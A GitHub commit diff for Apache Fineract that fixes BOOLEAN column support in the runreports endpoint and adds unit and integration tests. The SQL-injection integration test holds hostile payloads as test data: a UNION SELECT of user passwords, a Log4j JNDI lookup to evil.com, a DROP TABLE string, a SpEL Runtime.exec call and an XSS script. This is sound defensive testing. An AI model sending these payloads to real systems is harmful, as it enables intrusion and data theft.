Skip to content

Commit f1cb567

Browse files
authored
Merge pull request #5637
FINERACT-2535: Data type 'BOOLEAN' is not supported in runreports endpoint
2 parents d01fedf + d250ddb commit f1cb567

4 files changed

Lines changed: 156 additions & 22 deletions

File tree

.github/workflows/build-documentation.yml

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -23,13 +23,13 @@ jobs:
2323
- uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6
2424
with:
2525
node-version: 22
26-
- name: Congfigure vega-cli
26+
- name: Configure vega-cli
2727
run: npm i -g vega-cli --unsafe
2828
- name: Validate Gradle wrapper
2929
uses: gradle/actions/wrapper-validation@0723195856401067f7a2779048b490ace7a47d7c # v5.0.2
3030
- name: Install additional software
3131
run: |
32-
sudo apt-get update
33-
sudo apt-get install ghostscript graphviz -y
32+
sudo apt-get update
33+
sudo apt-get install ghostscript graphviz -y
3434
- name: Documentation build
3535
run: ./gradlew --no-daemon --console=plain doc

fineract-core/src/main/java/org/apache/fineract/infrastructure/core/service/database/JdbcJavaType.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,7 @@ public Object toJdbcValueImpl(@NonNull DatabaseType dialect, Object value) {
3434
return value == null ? null : (Boolean.TRUE.equals(value) ? 1 : 0);
3535
}
3636
},
37-
BOOLEAN(JavaType.BOOLEAN, new DialectType(JDBCType.BIT), new DialectType(JDBCType.BOOLEAN, null, "BOOL")) { //
37+
BOOLEAN(JavaType.BOOLEAN, new DialectType(JDBCType.BIT, null, "BOOL", "BOOLEAN"), new DialectType(JDBCType.BOOLEAN, null, "BOOL")) { //
3838

3939
@Override
4040
public Object toJdbcValueImpl(@NonNull DatabaseType dialect, Object value) {
Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
/**
2+
* Licensed to the Apache Software Foundation (ASF) under one
3+
* or more contributor license agreements. See the NOTICE file
4+
* distributed with this work for additional information
5+
* regarding copyright ownership. The ASF licenses this file
6+
* to you under the Apache License, Version 2.0 (the
7+
* "License"); you may not use this file except in compliance
8+
* with the License. You may obtain a copy of the License at
9+
*
10+
* http://www.apache.org/licenses/LICENSE-2.0
11+
*
12+
* Unless required by applicable law or agreed to in writing,
13+
* software distributed under the License is distributed on an
14+
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
15+
* KIND, either express or implied. See the License for the
16+
* specific language governing permissions and limitations
17+
* under the License.
18+
*/
19+
package org.apache.fineract.infrastructure.core.service.database;
20+
21+
import static org.junit.jupiter.api.Assertions.assertEquals;
22+
23+
import org.junit.jupiter.api.Test;
24+
25+
class JdbcJavaTypeTest {
26+
27+
@Test
28+
void shouldResolveBooleanTypeNameForMySql() {
29+
JdbcJavaType jdbcJavaType = JdbcJavaType.getByTypeName(DatabaseType.MYSQL, "BOOLEAN", true);
30+
assertEquals(JdbcJavaType.BOOLEAN, jdbcJavaType);
31+
}
32+
33+
@Test
34+
void shouldResolveBoolTypeNameForMySql() {
35+
JdbcJavaType jdbcJavaType = JdbcJavaType.getByTypeName(DatabaseType.MYSQL, "BOOL", true);
36+
assertEquals(JdbcJavaType.BOOLEAN, jdbcJavaType);
37+
}
38+
39+
@Test
40+
void shouldResolveBitTypeNameForMySql() {
41+
JdbcJavaType jdbcJavaType = JdbcJavaType.getByTypeName(DatabaseType.MYSQL, "BIT", true);
42+
assertEquals(JdbcJavaType.BOOLEAN, jdbcJavaType);
43+
}
44+
}

integration-tests/src/test/java/org/apache/fineract/integrationtests/SqlInjectionReportingServiceIntegrationTest.java

Lines changed: 108 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,7 @@
3535
import java.nio.charset.StandardCharsets;
3636
import java.util.HashMap;
3737
import java.util.List;
38+
import java.util.Locale;
3839
import java.util.Map;
3940
import java.util.concurrent.Callable;
4041
import java.util.concurrent.ExecutionException;
@@ -66,18 +67,29 @@ public class SqlInjectionReportingServiceIntegrationTest extends BaseLoanIntegra
6667

6768
private RequestSpecification requestSpec;
6869
private ResponseSpecification responseSpec;
70+
private ResponseSpecification createOrReadResponseSpec;
6971
private Long testReportId = null;
72+
private Long booleanReportId = null;
7073
private static final String TEST_REPORT_NAME = "SQL_Injection_Test_Report";
7174
private static final String TEST_REPORT_SQL = "SELECT 1 as test_column, 'Test Data' as test_name";
75+
private static final String BOOLEAN_REPORT_SQL = "SELECT (1 = 1) AS active";
76+
private String booleanReportName;
7277

7378
@BeforeEach
7479
public void setup() {
80+
Locale.setDefault(Locale.ENGLISH);
7581
Utils.initializeRESTAssured();
7682
this.requestSpec = new RequestSpecBuilder().setContentType(ContentType.JSON).build();
7783
this.requestSpec.header("Authorization", "Basic " + Utils.loginIntoServerAndGetBase64EncodedAuthenticationKey());
7884
this.requestSpec.header("Fineract-Platform-TenantId", "default");
85+
86+
// Keep strict 200 for runreports GET assertions used in tests
7987
this.responseSpec = new ResponseSpecBuilder().expectStatusCode(200).build();
8088

89+
// Creation endpoints may return 201 in some environments
90+
this.createOrReadResponseSpec = new ResponseSpecBuilder()
91+
.expectStatusCode(org.hamcrest.Matchers.anyOf(org.hamcrest.Matchers.is(200), org.hamcrest.Matchers.is(201))).build();
92+
8193
// Create test report for the tests
8294
createTestReportIfNotExists();
8395
}
@@ -89,7 +101,19 @@ public void cleanup() {
89101
try {
90102
deleteTestReport();
91103
} catch (Exception e) {
92-
log.warn("Failed to clean up test report: " + e.getMessage());
104+
log.warn("Failed to clean up test report: {}", e.getMessage());
105+
} finally {
106+
testReportId = null;
107+
}
108+
}
109+
if (booleanReportId != null) {
110+
try {
111+
deleteBooleanReport();
112+
} catch (Exception e) {
113+
log.warn("Failed to clean up boolean test report: {}", e.getMessage());
114+
} finally {
115+
booleanReportId = null;
116+
booleanReportName = null;
93117
}
94118
}
95119
}
@@ -125,7 +149,6 @@ private void createTestReportIfNotExists() {
125149
} catch (Exception e) {
126150
log.debug("Report list fetch failed, will try to create report: {}", e.getMessage());
127151
}
128-
129152
// Create the test report
130153
String reportJson = "{" + "\"reportName\": \"" + TEST_REPORT_NAME + "\"," + "\"reportType\": \"Table\","
131154
+ "\"reportCategory\": \"Client\"," + "\"reportSql\": \"" + TEST_REPORT_SQL + "\","
@@ -161,14 +184,60 @@ private void createTestReportIfNotExists() {
161184
}
162185
}
163186

164-
private void deleteTestReport() {
165-
if (testReportId != null) {
166-
try {
167-
Utils.performServerDelete(requestSpec, responseSpec, "/fineract-provider/api/v1/reports/" + testReportId, "");
168-
log.info("Deleted test report with ID: {}", testReportId);
169-
} catch (Exception e) {
170-
log.warn("Failed to delete test report: " + e.getMessage());
187+
private void createBooleanReport() {
188+
booleanReportName = "BOOLEAN_Runreports_Test_Report_" + java.util.UUID.randomUUID();
189+
190+
String reportJson = "{" + "\"reportName\": \"" + booleanReportName + "\"," + "\"reportType\": \"Table\","
191+
+ "\"reportCategory\": \"Client\"," + "\"reportSql\": \"" + BOOLEAN_REPORT_SQL + "\","
192+
+ "\"description\": \"Test report for BOOLEAN runreports support\"," + "\"useReport\": true" + "}";
193+
194+
Response postResponse = given().spec(requestSpec).contentType(ContentType.JSON).body(reportJson).when()
195+
.post("/fineract-provider/api/v1/reports");
196+
197+
if (postResponse.getStatusCode() == 200 || postResponse.getStatusCode() == 201) {
198+
String response = postResponse.asString();
199+
if (response.contains("resourceId")) {
200+
String idStr = response.replaceAll(".*\"resourceId\":(\\d+).*", "$1");
201+
booleanReportId = Long.parseLong(idStr);
202+
log.info("Created BOOLEAN test report with ID: {}, name: {}", booleanReportId, booleanReportName);
203+
} else {
204+
throw new RuntimeException("BOOLEAN test report creation failed - no resourceId in response: " + response);
171205
}
206+
} else {
207+
throw new RuntimeException(
208+
"BOOLEAN test report creation failed with status " + postResponse.getStatusCode() + ": " + postResponse.asString());
209+
}
210+
}
211+
212+
private void deleteTestReport() {
213+
if (testReportId == null) {
214+
return;
215+
}
216+
217+
Response deleteResponse = given().spec(requestSpec).contentType(ContentType.JSON).when()
218+
.delete("/fineract-provider/api/v1/reports/" + testReportId);
219+
220+
if (deleteResponse.getStatusCode() == 200 || deleteResponse.getStatusCode() == 204 || deleteResponse.getStatusCode() == 404) {
221+
log.info("Deleted (or already absent) test report with ID: {}", testReportId);
222+
} else {
223+
throw new RuntimeException("Failed deleting test report with ID " + testReportId + ", status: " + deleteResponse.getStatusCode()
224+
+ ", body: " + deleteResponse.asString());
225+
}
226+
}
227+
228+
private void deleteBooleanReport() {
229+
if (booleanReportId == null) {
230+
return;
231+
}
232+
233+
Response deleteResponse = given().spec(requestSpec).contentType(ContentType.JSON).when()
234+
.delete("/fineract-provider/api/v1/reports/" + booleanReportId);
235+
236+
if (deleteResponse.getStatusCode() == 200 || deleteResponse.getStatusCode() == 204 || deleteResponse.getStatusCode() == 404) {
237+
log.info("Deleted (or already absent) BOOLEAN test report with ID: {}", booleanReportId);
238+
} else {
239+
throw new RuntimeException("Failed deleting BOOLEAN test report with ID " + booleanReportId + ", status: "
240+
+ deleteResponse.getStatusCode() + ", body: " + deleteResponse.asString());
172241
}
173242
}
174243

@@ -215,7 +284,7 @@ void uc2_testParameterInjectionPrevention() {
215284
// This should either succeed with empty/safe results or fail with validation error
216285
// but NOT with SQL syntax errors
217286
try {
218-
String response = Utils.performServerGet(requestSpec, responseSpec, "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME
287+
Utils.performServerGet(requestSpec, responseSpec, "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME
219288
+ "?genericResultSet=false&" + toQueryString(maliciousParams), null);
220289

221290
// If we get here, the SQL injection was prevented and handled safely
@@ -227,7 +296,6 @@ void uc2_testParameterInjectionPrevention() {
227296
"Should not get SQL syntax error, got: " + exception.getMessage());
228297
assertFalse(exception.getMessage().toLowerCase().contains("you have an error in your sql"),
229298
"Should not get SQL error, got: " + exception.getMessage());
230-
231299
// Should be a validation error, not a 404
232300
assertFalse(exception.getMessage().contains("404"), "Should not get 404 - report should exist. Got: " + exception.getMessage());
233301

@@ -249,7 +317,7 @@ void uc3_testValidReportTypes(String validType) {
249317

250318
// Test that valid report types work through the API
251319
try {
252-
String response = Utils.performServerGet(requestSpec, responseSpec,
320+
Utils.performServerGet(requestSpec, responseSpec,
253321
"/runreports/TestReport?reportType=" + validType + "&genericResultSet=false&" + toQueryString(queryParams), null);
254322
// Should get a proper response or 404 (report not found), not validation error
255323
} catch (AssertionError e) {
@@ -414,10 +482,10 @@ void uc8_testComplexParameterInjection() {
414482
// Test various parameter injection patterns that were historically problematic
415483
Map<String, String> maliciousParams = new HashMap<>();
416484
maliciousParams.put("R_officeId", "1) UNION SELECT username,password FROM m_appuser WHERE id=1--");
417-
maliciousParams.put("R_clientId", "${jndi:ldap://evil.com/a}"); // Log4j style injection
485+
maliciousParams.put("R_clientId", "${jndi:ldap://evil.com/a}");
418486
maliciousParams.put("R_startDate", "'; DROP TABLE IF EXISTS test; --");
419-
maliciousParams.put("R_endDate", "#{T(java.lang.Runtime).getRuntime().exec('whoami')}"); // SpEL injection
420-
maliciousParams.put("R_userId", "<script>alert('xss')</script>"); // XSS attempt in parameter
487+
maliciousParams.put("R_endDate", "#{T(java.lang.Runtime).getRuntime().exec('whoami')}");
488+
maliciousParams.put("R_userId", "<script>alert('xss')</script>");
421489

422490
try {
423491
Utils.performServerGet(requestSpec, responseSpec, "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME
@@ -487,18 +555,40 @@ void uc10_testCrossDatabaseCompatibility() {
487555
Utils.performServerGet(requestSpec, responseSpec, "/fineract-provider/api/v1/runreports/"
488556
+ URLEncoder.encode(testInput, StandardCharsets.UTF_8) + "?genericResultSet=false&" + toQueryString(queryParams), null);
489557
} catch (AssertionError e) {
490-
// Should get 404 (report not found) not database-specific errors
491-
assertTrue(e.getMessage().contains("404"));
558+
assertTrue(e.getMessage().contains("404") || e.getMessage().contains("400"),
559+
"Expected safe failure (404/400), but got: " + e.getMessage());
492560
assertFalse(e.getMessage().toLowerCase().contains("syntax error"));
493561
assertFalse(e.getMessage().toLowerCase().contains("sql"));
494562

495-
log.info("Cross-database compatibility test passed - got expected 404 response");
563+
log.info("Cross-database compatibility test passed - got expected safe response");
496564
}
497565
}
498566

499567
/**
500568
* Helper method to convert parameters map to query string
501569
*/
570+
@Test
571+
void shouldExecuteReportSuccessfullyWhenReportContainsBooleanColumn() {
572+
createBooleanReport();
573+
assertNotNull(booleanReportId, "BOOLEAN test report should be created before execution");
574+
assertNotNull(booleanReportName, "BOOLEAN test report name should be initialized");
575+
576+
// Use direct request to avoid hidden auth mismatch and assert exact behavior
577+
Response runResponse = given().spec(requestSpec).accept(ContentType.JSON).when().get("/fineract-provider/api/v1/runreports/"
578+
+ URLEncoder.encode(booleanReportName, StandardCharsets.UTF_8) + "?genericResultSet=false");
579+
580+
String response = runResponse.asString();
581+
assertTrue(runResponse.getStatusCode() == 200, "Expected status 200 but was " + runResponse.getStatusCode() + " body: " + response);
582+
583+
assertNotNull(response);
584+
assertFalse(response.isBlank());
585+
assertFalse(response.contains("Data type 'BOOLEAN' is not supported"));
586+
assertTrue(response.toLowerCase().contains("active"),
587+
"Response should contain boolean column alias 'active', but was: " + response);
588+
assertTrue(response.toLowerCase().contains("true") || response.toLowerCase().contains("1"),
589+
"Response should contain boolean value (true/1), but was: " + response);
590+
}
591+
502592
private String toQueryString(Map<String, String> params) {
503593
StringBuilder sb = new StringBuilder();
504594
for (Map.Entry<String, String> entry : params.entrySet()) {

0 commit comments

Comments
 (0)